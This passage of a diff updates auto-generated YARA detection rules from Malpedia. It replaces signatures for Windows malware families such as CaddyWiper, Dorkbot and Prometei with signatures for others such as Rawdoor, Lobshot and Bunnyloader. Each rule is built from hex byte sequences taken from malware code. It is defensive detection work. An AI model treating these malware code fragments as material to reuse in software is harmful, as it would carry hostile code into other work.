= "https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonforce" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dragonforce_auto.yar#L1-L90" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.manitsme_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "1983039dbcbe97b58972e2e24c645af80b3369f0d68152ff0fbf029f83aa4fd4" + logic_hash = "f54a2de03d86d0088dd4a7debb0ef3d048ee2324f936fed5683caed7b0cf71b4" score = 75 quality = 75 tags = "FILE" @@ -83270,30 +83231,32 @@ rule MALPEDIA_Win_Dragonforce_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83ff01 7564 c745fc???????? bb???????? } - $sequence_1 = { 83c608 897dec 8b0481 8bc8 } - $sequence_2 = { 88943d09fdffff 47 83ff42 72d6 } - $sequence_3 = { 6690 85db 0f844ef4ffff 0fb607 } - $sequence_4 = { 8a85a9fcffff e8???????? 8985e0f5ffff 8d8d9cfcffff } - $sequence_5 = { 6a00 6a00 6a01 8d85dcfdffff } - $sequence_6 = { c6459002 c6459173 c6459202 c6459365 } - $sequence_7 = { c644243145 c64424323c c644243369 c64424343c } + $sequence_0 = { 895c2450 ffd6 8b35???????? 8d542410 52 } + $sequence_1 = { 85c0 0f84a2000000 837c241000 766e 6a00 8d442414 50 } + $sequence_2 = { 8bc8 c1f905 8d1c8d40580110 8bf0 83e61f 6bf628 8b0b } + $sequence_3 = { d96c2416 e8???????? 83c404 85c0 7505 b8100e0000 } + $sequence_4 = { 6a02 68???????? be07000000 e8???????? } + $sequence_5 = { 68???????? 32db e8???????? dc0d???????? } + $sequence_6 = { 52 be04010000 8bfb e8???????? } + $sequence_7 = { ff15???????? 6a00 b801000000 e8???????? 83c404 b801000000 c20c00 } + $sequence_8 = { ffd3 85c0 7586 50 ff15???????? } + $sequence_9 = { 7416 8bc1 83e01f 6bc028 8bd1 c1fa05 03049540580110 } condition: - 7 of them and filesize < 879616 + 7 of them and filesize < 212992 } -rule MALPEDIA_Win_Caddywiper_Auto : FILE +rule MALPEDIA_Win_Rawdoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3bfe4656-7095-5bf1-a220-b7990a8e8540" + id = "cc76b812-17c2-5ec8-96b0-76719ad244ed" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.caddywiper_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rawdoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rawdoor_auto.yar#L1-L170" license_url = "N/A" - logic_hash = "1d17e07981d8c6c1b9158309889ffc1ea6f49825b4f9491b9319c2fdd5793cb7" + logic_hash = "ec178538305c82f8b2a93ab81f9192cdc24be91763d3a20d8dccb588ac264211" score = 75 quality = 75 tags = "FILE" @@ -83307,32 +83270,38 @@ rule MALPEDIA_Win_Caddywiper_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c645af55 c645b073 c645b165 c645b272 c645b373 c645b400 } - $sequence_1 = { 33c0 eb69 c78564ffffff01000000 8b55a8 899568ffffff } - $sequence_2 = { c685b6fbffff65 c685b7fbffff00 c685b8fbffff72 c685b9fbffff00 c685bafbffff6e c685bbfbffff00 } - $sequence_3 = { 33c0 eb13 ff55b4 3d14050000 7504 } - $sequence_4 = { c68597feffff00 c68598feffff70 c68599feffff00 c6859afeffff69 c6859bfeffff00 c6859cfeffff33 } - $sequence_5 = { 0f85fe000000 8b55f4 8b4210 8945f0 } - $sequence_6 = { c685b8feffff72 c685b9feffff69 c685bafeffff74 c685bbfeffff79 c685bcfeffff49 } - $sequence_7 = { 85d2 7421 8b4508 0345f4 8a4dfb } - $sequence_8 = { c745fc00000000 c68538ffffff43 c68539ffffff6c c6853affffff6f c6853bffffff73 } - $sequence_9 = { 83ec70 c745f800000000 c745ec00000000 64a130000000 } + $sequence_0 = { 030e 03d1 c1c207 4103d2 } + $sequence_1 = { 030b 4403d1 418bc8 f7d1 23ca } + $sequence_2 = { 034218 418d91051d8804 458d8a39d0d4d9 03d0 } + $sequence_3 = { 03442444 3d00040000 730e 488d4c2450 } + $sequence_4 = { 034210 418d90a9cfde4b 458d81604bbbf6 03d0 } + $sequence_5 = { 034608 03d0 8b442408 4103c1 4c8b4c2410 } + $sequence_6 = { 034808 4403c1 8bcb f7d1 23ca } + $sequence_7 = { 034824 418bc0 4403c9 33c2 418d8be599dbe6 } + $sequence_8 = { 0101 0101 0100 0000 0001 } + $sequence_9 = { 0000 0001 0100 0001 0101 } + $sequence_10 = { 8be5 5d c3 ff15???????? 83f8ff 746f 8d85bcf8ffff } + $sequence_11 = { 0f8405010000 83e809 7415 83e803 0f8538010000 c745dc44690210 e9???????? } + $sequence_12 = { c3 68???????? 50 ff15???????? 85c0 751f 68???????? } + $sequence_13 = { 57 8b7d08 8d14dd00000000 8b0f c1e903 83e13f 894d0c } + $sequence_14 = { ffd6 ffb5e4feffff ffd6 57 85db 7439 81fb02010000 } + $sequence_15 = { 50 e8???????? 6867010000 8d8529fcffff c68528fcffff00 6a00 50 } condition: - 7 of them and filesize < 33792 + 7 of them and filesize < 445440 } -rule MALPEDIA_Win_Ncctrojan_Auto : FILE +rule MALPEDIA_Win_Lobshot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "621539aa-975e-51db-993a-fe0f56fb0b46" + id = "6f20fbff-d088-55ca-8131-38feba325236" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ncctrojan_auto.yar#L1-L164" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lobshot_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "1a1a856a6ccef6fe3d5ce45ce3caa49b1b9096f7072cb08e6fd3fa9a04b80075" + logic_hash = "319a86adb13eb9e86d16d75f8640b06a3709c7236ca49379440781ba36dcddcb" score = 75 quality = 75 tags = "FILE" @@ -83346,38 +83315,32 @@ rule MALPEDIA_Win_Ncctrojan_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f805 7536 8b85e8feffff 85c0 750a } - $sequence_1 = { 68???????? e9???????? 83f801 750a 68???????? } - $sequence_2 = { 750a 68???????? e9???????? 83f802 } - $sequence_3 = { d1f9 8d4101 50 e8???????? 8b542410 83c404 8bca } - $sequence_4 = { 50 e8???????? 8d45f4 50 8d85e8adffff } - $sequence_5 = { c785ccbdffff00000000 668985dcbdffff 8d85ecfdffff 8985d4bdffff } - $sequence_6 = { 85d2 0f8407010000 83faff 0f84fe000000 33c0 85d2 } - $sequence_7 = { e8???????? 68???????? 6a20 68???????? e8???????? 83c418 e8???????? } - $sequence_8 = { 0f99c0 8d044501000000 5e 5d c3 3b0d???????? } - $sequence_9 = { 03c1 50 51 ff7304 } - $sequence_10 = { 837dec08 8d45d8 0f4345d8 83ec18 } - $sequence_11 = { 8965f0 6a01 8945ec 40 6a00 } - $sequence_12 = { 7e6f 8945c8 8b400c 8b7004 } - $sequence_13 = { 0f437d08 ff15???????? 50 56 } - $sequence_14 = { 50 51 8d4d08 e8???????? 56 8985c8feffff 8d4d08 } - $sequence_15 = { 02c9 2480 7403 80f11b 83ea01 } + $sequence_0 = { 8b4e08 8a86b1160000 eb10 85c0 7e12 8b5608 8b4e14 } + $sequence_1 = { 0f8c89040000 85db b98a000000 6a07 58 0f45c8 33c0 } + $sequence_2 = { 5f c3 53 56 85c9 7462 } + $sequence_3 = { 6685c9 740a 83f92e 7405 } + $sequence_4 = { 8945e8 66d3e0 660b86b0160000 0fb7c0 8945f8 6a10 58 } + $sequence_5 = { 8b7d18 33c9 6a0f 41 58 39b48d78ffffff 7505 } + $sequence_6 = { 8b4764 8a5401ff 8b8f98160000 8b879c160000 66893448 8b8798160000 8b8f90160000 } + $sequence_7 = { ff35???????? 6801000080 ff15???????? 85c0 0f851e010000 55 8b2d???????? } + $sequence_8 = { 8b8b4c140000 8b83580b0000 8b55ec 89848b540b0000 8bcb e8???????? } + $sequence_9 = { 83ec30 8b4204 8945d8 8b4208 53 8b1a 56 } condition: - 7 of them and filesize < 1160192 + 7 of them and filesize < 247808 } -rule MALPEDIA_Win_Dorkbot_Ngrbot_Auto : FILE +rule MALPEDIA_Win_Xiangoop_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "95e01109-549b-5610-b7bb-c1343e7b4ee5" + id = "361620d5-e5e6-5f74-925d-645a80b78212" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dorkbot_ngrbot_auto.yar#L1-L132" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiangoop" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xiangoop_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "ea5d98b6b45b739ecbab0036be4d19cc99f655fde99b26bfe861c5599dba1365" + logic_hash = "f8f21cace7fd103bdd27ecbe99bad091ab92dc71874d8f32014c3d64cede2d0d" score = 75 quality = 75 tags = "FILE" @@ -83391,32 +83354,32 @@ rule MALPEDIA_Win_Dorkbot_Ngrbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 740c 8b8cb51cffffff 51 ffd0 eb0d 8b94b51cffffff } - $sequence_1 = { 85f6 0f84a8020000 6a00 6800040000 8d9578fbffff } - $sequence_2 = { ff15???????? 85c0 0f8c9f000000 8b4508 85c0 0f8494000000 8b4dfc } - $sequence_3 = { e8???????? 8bf0 83c408 85f6 0f84dc000000 6a06 68???????? } - $sequence_4 = { 51 7416 68???????? 52 50 e8???????? 83c410 } - $sequence_5 = { 8b4d0c 51 50 6a00 ff15???????? 50 ff15???????? } - $sequence_6 = { 8d85f1feffff 6a00 50 c685f0feffff00 e8???????? 8b4d14 83c40c } - $sequence_7 = { 8d8500f8ffff 50 ff15???????? 8b550c 8b4508 8d8d00f8ffff 51 } - $sequence_8 = { 8d55f0 52 68???????? e8???????? 83c40c 85c0 7530 } - $sequence_9 = { b8???????? 5b 8be5 5d c3 ff15???????? 5e } + $sequence_0 = { 8945fc e9???????? e9???????? 837d1020 0f850e040000 b901000000 6bd100 } + $sequence_1 = { 81e2ff000000 8b45f4 c1e810 25ff000000 8b0c95587d0110 330c8558650110 8b55f8 } + $sequence_2 = { 6bd10d 8b4dfc 890411 ba04000000 6bc206 } + $sequence_3 = { 83e801 0f8539010000 c745e414430110 8b4508 } + $sequence_4 = { 8b45f4 0fb64c081c 81e1ff000000 c1e108 0bd1 } + $sequence_5 = { 57 8d1c8518b00110 8b03 90 8b15???????? 83cfff 8bca } + $sequence_6 = { b804000000 6bc805 8b45fc 8b75fc 8b1410 } + $sequence_7 = { 8b55f0 c1ea00 81e2ff000000 330495585d0110 b904000000 6bd105 } + $sequence_8 = { 8b45dc c1e800 25ff000000 330c85585d0110 ba04000000 6bc203 8b55fc } + $sequence_9 = { b901000000 6bd100 8b45f4 0fb64c1010 } condition: - 7 of them and filesize < 638976 + 7 of them and filesize < 246784 } -rule MALPEDIA_Win_Prometei_Auto : FILE +rule MALPEDIA_Win_Nvisospit_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "62ace16c-b0c3-554c-a9f7-6209373c3e72" + id = "45693521-741e-5d7b-a1e6-3a76e159ad3c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.prometei_auto.yar#L1-L160" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nvisospit_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "9dde111159215a62fc6cb6707e61b66d4977093dee25c22cb9e592670f784bca" + logic_hash = "ff70ccb56c3ba29da1863614e8053ff80e99b0375420038026fb05b34e9ea2b2" score = 75 quality = 75 tags = "FILE" @@ -83430,38 +83393,32 @@ rule MALPEDIA_Win_Prometei_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 011d???????? 03c8 8b5de4 a1???????? } - $sequence_1 = { 5b 8d7db0 8907 8bc7 bf1f000000 897004 894808 } - $sequence_2 = { 33c0 85ff 742c 8b75d8 03f2 0fbe5405b8 } - $sequence_3 = { 014368 81434400020000 c7434000000000 83534800 } - $sequence_4 = { 014358 8b45f0 01435c 8b45fc } - $sequence_5 = { ff15???????? 0fbe05???????? 56 8945fc ff15???????? } - $sequence_6 = { b801000000 f745c000020000 8bd1 0f44f8 } - $sequence_7 = { 833d????????00 0f85cc000000 6a00 6880000000 6a03 6a00 6a00 } - $sequence_8 = { 10d0 00bb2d784334 2cbb 8d3b 61 } - $sequence_9 = { f5 b56b 55 48 2d63d3c0b9 25809d1976 0482 } - $sequence_10 = { 013d???????? 8b04b5c8054400 0500080000 3bc8 } - $sequence_11 = { 01435c 8b45fc 014360 8b45f4 } - $sequence_12 = { e8???????? 44 b46b d6 1e } - $sequence_13 = { 014364 8b45e4 014368 5b } - $sequence_14 = { 014360 8b45f4 014364 8b45e4 } - $sequence_15 = { 014354 8b45e8 014358 8b45f0 } + $sequence_0 = { 83f807 7ea8 83f80b 8b15???????? 0f8e16010000 85d2 0f8493010000 } + $sequence_1 = { 0f8598000000 8b15???????? b9???????? e9???????? 0fb60f 89cb } + $sequence_2 = { 3b5dc4 89b700004000 89da 75d8 } + $sequence_3 = { 8b00 89442404 c70424???????? e8???????? 8b859cf9ffff 0fb74004 0fb7c0 } + $sequence_4 = { 8d7600 8dbc2700000000 b9???????? 85d2 0f85eafeffff 8b7104 } + $sequence_5 = { 83c308 8b7a04 8b12 039700004000 8d8700004000 89d6 e8???????? } + $sequence_6 = { 89742410 894c240c 89542408 89442404 c70424???????? } + $sequence_7 = { 8b35???????? 85f6 0f8ef0000000 8b3d???????? } + $sequence_8 = { b9???????? e9???????? 0fb60f 89cb 81cb00ffffff } + $sequence_9 = { 89c3 89f8 e8???????? 891f ebcc 0fb79900004000 } condition: - 7 of them and filesize < 51014656 + 7 of them and filesize < 66560 } -rule MALPEDIA_Win_Graphsteel_Auto : FILE +rule MALPEDIA_Win_Bunnyloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fd70cca8-a56d-5225-a00e-9e9a8f58f3be" + id = "0daa091a-7685-5a2e-b265-d5329b5c0a21" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphsteel_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunnyloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bunnyloader_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e3e7b2c9268861fa25138183cb28ca132ae718be8ddf794ff818ae9183996560" + logic_hash = "b53a936a0dceb8c6261eaef889e6613b1973524457e163036a774308b6a54923" score = 75 quality = 75 tags = "FILE" @@ -83475,32 +83432,32 @@ rule MALPEDIA_Win_Graphsteel_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 488d0584215d00 bb10000000 e8???????? 4889f8 b900200000 e8???????? } - $sequence_1 = { 8b842490000000 85c0 0f84e8feffff 488d4c2470 e8???????? 4489e0 4881c4b0000000 } - $sequence_2 = { 664189856c010000 498b8528010000 4885c0 7407 c7401807000000 4c89e9 4531e4 } - $sequence_3 = { e8???????? 660f1f840000000000 4885c9 0f8425040000 48f7c160000000 7404 31d2 } - $sequence_4 = { ff15???????? 807e6900 7472 8b4628 85c0 7e4e 31db } - $sequence_5 = { e9???????? 488d7101 4839f7 732b 488d0533c23600 e8???????? 488d7301 } - $sequence_6 = { 488d6c2430 48897c2420 48894c2450 48895c2448 4889442428 488d05cd4f4b00 e8???????? } - $sequence_7 = { eb0c 488d3d1e448600 e8???????? 488b0d???????? 48898c24f0020000 488d0533115500 e8???????? } - $sequence_8 = { 90 488b5c2468 488b4c2470 488d3d96682100 4889c6 4531c0 4531c9 } - $sequence_9 = { bb1a000000 e8???????? 0f1f440000 e8???????? 488d0594745400 488d1d8deb6400 e8???????? } + $sequence_0 = { ff742414 ba40000000 8bcf ff750c 50 e8???????? 83c40c } + $sequence_1 = { e9???????? 8b4318 8b560c 89542420 a828 745a b9???????? } + $sequence_2 = { c745dc00000000 89857cffffff 7432 50 8d4dd4 e8???????? ffb57cffffff } + $sequence_3 = { 894df4 85c9 743a 8bc8 33c0 83c101 13c0 } + $sequence_4 = { c6853fffffff00 8d95b8feffff ffb53fffffff 8d8df8fdffff c645fc2d e8???????? 83c404 } + $sequence_5 = { e8???????? 8b4df8 83c408 8b550c 6689044a 8a06 3c20 } + $sequence_6 = { 8d5e54 8bd3 894650 8bcf e8???????? 8bbd64feffff eb2d } + $sequence_7 = { e8???????? 83c408 e9???????? 8b442420 807c241700 0f8418030000 807e5700 } + $sequence_8 = { e8???????? 8bf8 8b45e4 03fe 13d3 83c701 13d3 } + $sequence_9 = { c6464400 8a4201 884645 803a00 746e 0fb64201 33c9 } condition: - 7 of them and filesize < 19812352 + 7 of them and filesize < 2998272 } -rule MALPEDIA_Win_Bunitu_Auto : FILE +rule MALPEDIA_Win_Wastedloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ad5c884d-40cc-596d-af5c-643847feb65b" + id = "c9b391e1-a439-5c84-8bc6-d01e7837fa3f" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bunitu_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wastedloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wastedloader_auto.yar#L1-L111" license_url = "N/A" - logic_hash = "4579187f29545393632699d1b30240f12e5e7855e0bb344d18579a744895ea25" + logic_hash = "f52a5046711dc64fff342d42959b67fac6d384f1f957f74196d547273f13eb4f" score = 75 quality = 75 tags = "FILE" @@ -83514,34 +83471,34 @@ rule MALPEDIA_Win_Bunitu_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c70003000000 ff75f0 8f4004 ff75ec 8f4008 8bc8 } - $sequence_1 = { ff15???????? 59 5d 5a } - $sequence_2 = { 6a00 50 ff15???????? 6a00 68e8030000 ff15???????? 33c0 } - $sequence_3 = { aa 5a 5f 5e 42 5b } - $sequence_4 = { 6800000100 50 51 6800080000 6a00 } - $sequence_5 = { 8b85d8feffff 898538fdffff 6a10 8d8d34fdffff 51 ffb528fdffff ff15???????? } - $sequence_6 = { 668b85dcfeffff b901190000 49 663bc1 } - $sequence_7 = { 50 53 8d85caf7ffff 50 e8???????? } - $sequence_8 = { 837df000 7614 6a02 ff75f0 ff15???????? ff75f0 } - $sequence_9 = { 8dbd58feffff b91c000000 33c0 f3aa e8???????? 8945fc } + $sequence_0 = { 7444 eb00 686bb90000 ff15???????? } + $sequence_1 = { 7ed7 7488 09b31ced6185 1ce2 } + $sequence_2 = { e8???????? 3d1e050000 c10147 833b38 } + $sequence_3 = { a828 b409 1c04 e8???????? } + $sequence_4 = { 7aec e471 e8???????? 0057bb 038919fc885d e479 } + $sequence_5 = { b9b5000000 8b55f8 66894a4c 8b45f8 } + $sequence_6 = { 8b45f8 66895056 b9b8000000 8b55f8 66894a58 8b45f8 0fb74858 } + $sequence_7 = { 0200 00e7 aa 53 } + $sequence_8 = { 2cbe 832061 5b 5b } + $sequence_9 = { 8b55f8 0fb7421e 83e854 8b4df8 6689411e ba86000000 } condition: - 7 of them and filesize < 221184 + 7 of them and filesize < 2677760 } -rule MALPEDIA_Win_Gold_Dragon_Auto : FILE +rule MALPEDIA_Win_Skipper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "991ba939-2d9f-52cd-813d-6925dfb8d9c9" + id = "efc6c970-e4f9-50aa-846f-5655368eb02c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gold_dragon_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.skipper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.skipper_auto.yar#L1-L422" license_url = "N/A" - logic_hash = "1d3ddf008eb509566d50c074a1778063d25aa540d5f914350cb60f472b9c159b" + logic_hash = "37baa21ea468db7e2c53f174ee34fcc7e3c9a0f2d929add42b329e84f24f9a81" score = 75 - quality = 75 + quality = 50 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -83553,32 +83510,68 @@ rule MALPEDIA_Win_Gold_Dragon_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8890e0924000 eb1c f6c202 7410 8088????????20 8a9405ecfcffff } - $sequence_1 = { 8bc8 83e01f c1f905 8d04c0 8b0c8d00954000 8d44810c 50 } - $sequence_2 = { 85c0 a3???????? 0f84ad060000 8b35???????? 68???????? } - $sequence_3 = { 8bf1 8bc1 c1fe05 83e01f 8b34b500954000 8d04c0 8b0486 } - $sequence_4 = { 41 8079ff00 0f8547ffffff 8bc6 8088e193400008 } - $sequence_5 = { 8d8560ffffff 68???????? 50 e8???????? ffb64c834000 8d8560ffffff 50 } - $sequence_6 = { 51 ffd6 85c0 a3???????? 0f84dd030000 8b15???????? } - $sequence_7 = { 50 ffd6 85c0 a3???????? 0f8478060000 } - $sequence_8 = { 83e01f 8b0c8d00954000 8d04c0 8d0481 8b4dfc } - $sequence_9 = { 68???????? 50 ffd6 85c0 a3???????? 0f84d8050000 8b0d???????? } + $sequence_0 = { 6a00 6a00 6a03 68???????? 68???????? 6a50 } + $sequence_1 = { e8???????? 6804010000 e8???????? 6804010000 8bf8 } + $sequence_2 = { ff15???????? 6a00 6a00 6a00 6a00 68???????? 68???????? } + $sequence_3 = { b9???????? e8???????? 6a04 e8???????? 8bf8 57 } + $sequence_4 = { 320439 47 8847ff 4e 0f8568ffffff 8b4dfc } + $sequence_5 = { 8d95fcfeffff 03d0 8b85f8feffff 8a1a 0fb6c0 8d8dfcfeffff } + $sequence_6 = { 40 0fb60438 0fb6ca 03d8 03d9 81e3ff000080 7908 } + $sequence_7 = { 888405fcfeffff 40 3d00010000 7cf1 33db 33f6 } + $sequence_8 = { e8???????? 83c404 6a00 6a64 52 } + $sequence_9 = { 0fb645f8 8a8c05f0feffff 888deffeffff 0fb655fc 0fb645f8 } + $sequence_10 = { 48897c2420 4156 4881ec10010000 488b05???????? } + $sequence_11 = { 83c101 898ddcfeffff 8b95dcfeffff 3b5514 0f8dcf000000 8b45f8 83c001 } + $sequence_12 = { 488b05???????? 4833c4 4889842400010000 4c8b9c2440010000 33c9 } + $sequence_13 = { 0fb655fc 0fb645f8 8a8c15f0feffff 888c05f0feffff 0fb655fc 8a85effeffff 888415f0feffff } + $sequence_14 = { 8885eefeffff 8b4d10 038ddcfeffff 0fbe11 } + $sequence_15 = { 7d0d 41ffca 4181ca00ffffff 41ffc2 0fb6c1 } + $sequence_16 = { 888415f0feffff 0fb64df8 0fb6940df0feffff 0fb645fc 0fb68c05f0feffff 03d1 } + $sequence_17 = { 48 0d00ffffff 40 8945f8 8b4df8 0fb6940df0feffff } + $sequence_18 = { 41ffc8 4181c800ffffff 41ffc0 410fb6c0 } + $sequence_19 = { 450fb608 4803d0 0fb602 418800 44880a 410fb610 } + $sequence_20 = { 8d1492 03d2 2bc2 4863d0 420fb60432 } + $sequence_21 = { 0fb695e8feffff 8a85effeffff 888415f0feffff e9???????? } + $sequence_22 = { 488d1424 4c03c0 410fb6c2 450fb608 4803d0 0fb602 } + $sequence_23 = { 888deffeffff 0fb695e8feffff 8b85e0feffff 8a8c15f0feffff 888c05f0feffff 0fb695e8feffff } + $sequence_24 = { 492bfb ffc1 81e1ff000080 7d0a ffc9 } + $sequence_25 = { 83e61f c1e606 03348520b72300 8b45e4 } + $sequence_26 = { c78424a80000000f000000 c78424a400000000000000 c684249400000000 720f ffb424f4000000 e8???????? } + $sequence_27 = { 4883ec20 4863d9 488bf3 48c1fe05 4c8d3d32a50000 83e31f 486bdb58 } + $sequence_28 = { 33c5 8945fc 57 8d85f0feffff 50 } + $sequence_29 = { 488bcb 488bc3 488d15faa20000 48c1f805 } + $sequence_30 = { 8985d8feffff 6a00 6804010000 8d85f0feffff 50 8b8dd8feffff 51 } + $sequence_31 = { 7405 e8???????? 488b8ba0000000 488d05c3910000 483bc8 } + $sequence_32 = { 4885c0 7509 488d0543aa0000 eb04 4883c014 8938 e8???????? } + $sequence_33 = { 50 6a00 8b8dd4feffff 51 ff15???????? } + $sequence_34 = { 897e70 c686c800000043 c6864b01000043 c7466888a22300 } + $sequence_35 = { eb0a c785d4feffffffff1f00 8b4508 50 6a00 } + $sequence_36 = { 85f6 7447 8802 8b048d606d4100 } + $sequence_37 = { 741a 488d0579d80000 483bf8 740e 833f00 } + $sequence_38 = { 736b 488bdf 488bf7 48c1fe05 4c8d2537ae0000 83e31f } + $sequence_39 = { 6a00 8b85d8feffff 50 8b8dd0feffff 51 6a00 6a00 } + $sequence_40 = { 8b45f4 46 83fa03 750e 8b0c85606d4100 } + $sequence_41 = { 7367 4863d9 4c8d359aa40000 488bfb 83e31f } + $sequence_42 = { 488d0d86a30000 488bc2 83e21f 48c1f805 486bd258 488b04c1 } + $sequence_43 = { 59 8945e4 8b7508 c7465cd8812300 33ff } + $sequence_44 = { 8bd8 85f6 7478 8b45fc } + $sequence_45 = { 83ef80 83c410 8975f0 897dec 3bf3 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Dlrat_Auto : FILE +rule MALPEDIA_Win_Backbend_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "7bb91210-a1a6-58a8-9c5b-ff8edf88b110" + id = "c7ec5485-6e9e-5eb4-aaaa-c0daf2bd8fb9" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dlrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dlrat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.backbend_auto.yar#L1-L118" license_url = "N/A" - logic_hash = "a3f1e1206cd1c309e34cacc09c3103fc944a2e61c558b93390de2cb1efae2fc5" + logic_hash = "935509ae6988f2d539b3ef5a76f3b49b19110a268e5a967dacc21ae1460d274a" score = 75 quality = 75 tags = "FILE" @@ -83592,32 +83585,32 @@ rule MALPEDIA_Win_Dlrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 488d0de60b1600 e8???????? 488975b0 4989d9 4531c0 baaa020000 488d0dcb0b1600 } - $sequence_1 = { 488d1df28e0500 48895dc8 48c745c011000000 488d55c0 488d0dcb8e0500 48894dd8 48c745d009000000 } - $sequence_2 = { e8???????? 85c0 7818 3de4000000 7311 4898 488d0d723b0100 } - $sequence_3 = { e8???????? 83fb01 7754 488d05aa270b00 488945a8 48c745a000000000 488d55a0 } - $sequence_4 = { 48ffc0 482bd8 48899df0fcffff 488b9de8fcffff 4803d8 48899df8fcffff 488d0513701600 } - $sequence_5 = { 488b8d20ffffff 4883ec20 e8???????? 4883c420 4889c2 488d0de71f1800 4883ec20 } - $sequence_6 = { 41c64424076c 41c644240863 41c644240979 41c644240a39 41c644240b6f 41c644240c5a 41c644240d57 } - $sequence_7 = { 488b03 488985a0fcffff 488995a8fcffff 488b3d???????? 488b97b0000000 488b87a8000000 488985b0fcffff } - $sequence_8 = { e8???????? 48c745b000000000 4c8bce 4c8bc3 ba2f070000 488d0d5e411500 